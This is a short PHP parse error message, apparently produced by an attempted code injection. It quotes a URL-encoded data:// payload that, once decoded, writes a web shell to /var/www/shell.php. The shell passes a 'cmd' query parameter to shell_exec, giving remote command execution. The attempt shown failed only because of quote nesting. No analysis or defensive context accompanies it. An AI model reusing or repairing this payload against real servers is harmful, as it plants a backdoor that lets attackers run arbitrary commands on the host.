Parse error: syntax error, unexpected '"', expecting '-' or identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING) in data://text/plain,%3C%3Fphp%20file_put_contents%28%22/var/www/shell.php%22%2C%20%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%29%3B%20echo%20%22WRITTEN%22%3B%20%3F%3E on line 1